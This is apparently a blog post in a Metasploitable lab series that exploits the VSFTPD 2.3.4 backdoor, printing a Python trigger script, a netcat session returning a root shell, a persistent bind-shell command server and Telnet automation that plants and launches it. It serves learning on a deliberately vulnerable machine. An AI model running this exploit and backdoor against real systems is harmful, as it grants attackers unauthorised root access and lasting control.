It’s been over a year since I’ve done something security-related and today I’m continuing the series about the Metasploitable project. The last part was reconnaissance, where I showed multiple vulnerabilities found on the machine. One of them was related to the VSFTPD. Today I’ll just script the attack.
What is VSFTPD Vulnerable to?
There’s a known issue of the VSFTD in version 2.3.4 that opens up a shell when someone tries to authenticate with any username followed by the “:)” sequence. More details can be found here. BTW, you can take a look at the downloadable version of the project from web archive here. It’s funny to see how the user-friedliness of thee software has improved over time. As I’m trying to do as much manually as I can to learn from it I won’t be using this exploit. OK, I’m lazy and I used the idea of utilizing Telnet instead of playing around with sockets 😛. According to it after executing this code:
import ftplib import sys # Pass the target ip as first argument to the program, ie. python vsftpd.py 192.168.1.2 target = sys.argv[1] ftp = ftplib.FTP(target) ftp.login(user="PwnieHomie:)")
A new connection on port 6200 should be available. And it is, indeed:
➜ ~ nc 192.168.56.102 6200 whoami root python --version Python 2.5.2 ^C
At first I was a bit confused since no prompt showed up, but the code is working. Now it’s time to make use of this finding and set up a command and control server that won’t die the moment I disconnect. The python in version 2.5 seems a bit ancient, which turns out to be a bit of a trouble, since even the docs for python 2.7 turn out to be outdated and I can’t use some features, like the check_output()
function. At this point I’m starting to do some workarounds, like digging in what I have for 2.5 using dir()
command, or trying to install 2.5 with pyenv.

Finally I have a workaround. The solution is to redirect the output to a file and read from it.
import socket import os import subprocess HOST = "{target}" PORT = 6201 BUFFER_SIZE = 2048 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(2) client_socket, client_address = s.accept() while True: command = client_socket.recv(BUFFER_SIZE) splitted = command.split() if len(splitted) < 1: client_socket.send(" $ ") continue if splitted[0].lower() == "cd": os.chdir(" ".join(splitted[1:])) else: f = open("out.txt", "w") out = subprocess.call(splitted, stdout=f) f.close() f = open("out.txt") content = f.read() f.close() message = content + " $ " client_socket.send(message) except socket.error: pass
Let me walk through this code. We have 2 infinite loops: the inner one for handling single connection and the outer 1 that suppresses exceptions so that the server is alive after connection failures. We read command from the buffer, execute it and save result in the out.txt
file. In order to do this, we need to pass the file handler to the cal()
method. After this, we can read from the file and send the contents through the socket to the client.
Automating the attack on VSFTPD
Last, for convenience, we’ll need to send this code through the backdoor and save it. In order to do this we call write()
function a few times:
try: tn = Telnet(sys.argv[1], 6200) tn.write(b"touch out.txt\n") tn.write(b"echo \'" + code.encode("utf-8") + b"\' > test.py\n") tn.write(b"python test.py &\n") tn.interact() except KeyboardInterrupt: opening_thread.join()
The last interact()
call is not really necessary. It’s there only to test the results. The attack isn’t very spectacular. Just calling
python vsftpd.py 192.168.56.102
on our machine and later
nc 192.168.56.102 6201
in order to get the connection is all. Could we do it better? Well, sure, we could hide the files for instance, but this isn’t our main concern here.
Summary
This was a quick walkthrough on Metasploitable and the exploitation of the VSFTPD with a bit of automation. I believe that in spite of the problems with writing some code in an ancient Python version, this was a pretty easy task to complete. For the next post I’ll try to find something more interesting. Stay tuned, subscribe to the newsletter to keep up to date. You can find the full source code on GitLab. Happy hacking!